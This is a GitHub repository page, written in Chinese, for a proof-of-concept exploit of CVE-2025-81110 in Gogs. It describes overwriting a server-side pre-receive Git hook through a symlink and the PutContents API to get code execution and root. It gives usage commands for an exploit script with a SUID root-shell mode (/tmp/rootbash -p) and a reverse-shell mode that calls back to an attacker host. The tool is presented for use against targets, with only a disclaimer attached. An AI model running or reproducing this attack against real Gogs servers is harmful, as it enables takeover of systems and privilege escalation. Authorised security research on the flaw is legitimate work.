BridgerAlderson/CVE-2025-81110-PoC
GitHub: BridgerAlderson/CVE-2025-81110-PoC
这是一个针对Gogs旧版本PutContents API中符号链接处理缺陷的利用脚本,能够通过覆盖Git钩子实现远程代码执行与权限提升。
Stars: 1 | Forks: 0
# CVE-2025-81110-PoC
Gogs 的 PutContents API 中存在符号链接处理不当问题,允许本地执行代码。
此仓库包含一个针对 Gogs 0.13.0 之前版本中严重漏洞的专业级漏洞利用程序。该漏洞利用程序利用了一个逻辑缺陷,即 Gogs API 在更新仓库内容时未能验证文件类型。通过注入一个指向服务端 Git 钩子(pre-receive)的符号链接,经过身份验证的用户可以用恶意脚本覆盖该钩子的内容。随后的 Git push 操作会触发该脚本在运行 Gogs 服务的用户(通常是 root)的上下文中执行。
符号链接注入:攻击者推送一个指向内部仓库钩子(例如 /root/gogs-repositories//.git/hooks/pre-receive)的符号链接。
API 覆盖:Gogs API 允许更新符号链接的内容。由于操作系统在写入操作期间会跟随该链接,因此内部的 Git 钩子被覆盖。
RCE / 权限提升:后续的 Git push 会触发 pre-receive 钩子。如果 Gogs 配置了 RUN_USER = root,攻击者将获得完整的系统控制权。
Requirements
- Python 3.x
- requests 库
- 攻击者机器上安装的 git 命令行工具
# USAGE
## SUID Mode
```
python3 exploit.py --url http://target:3000 --user --pass --mode suid
```
完成后,获取目标上的 root 访问权限:
```
/tmp/rootbash -p
```
## REVSHELL
```
python3 exploit.py --url http://target:3000 --user --pass --mode rev --lhost --lport 4444
```
# Argument Reference
| Argument | Required | Description |
| :--- | :--- | :--- |
| `--url` | Yes | Gogs 实例的基础 URL(例如 http://127.0.0.1:3001)。 |
| `--user` | Yes | 用于身份验证的有效用户名。 |
| `--pass` | Yes | 指定用户的有效密码。 |
| `--mode` | No | 漏洞利用模式:suid(创建 /tmp/rootbash)或 rev(反向 shell)。 |
| `--lhost` | No | 反向 shell 回调的本地 IP 地址。 |
| `--lport` | No | 反向 shell 监听器的本地端口。 |
# Disclaimer
此工具仅用于教育目的和授权的安全审计。作者不对因在您拥有或明确获准测试的系统上滥用此工具而造成的任何误用或损害负责。
标签:CISA项目, CVE-2025-81110, Exploit, Git Hook, Gogs, POC, PutContents API, Python脚本, RCE, SUID, Symlink Injection, Web报告查看器, 代码执行, 协议分析, 反弹Shell, 本地文件包含, 权限提升, 符号链接注入, 网络安全, 网络安全研究, 逆向工具, 隐私保护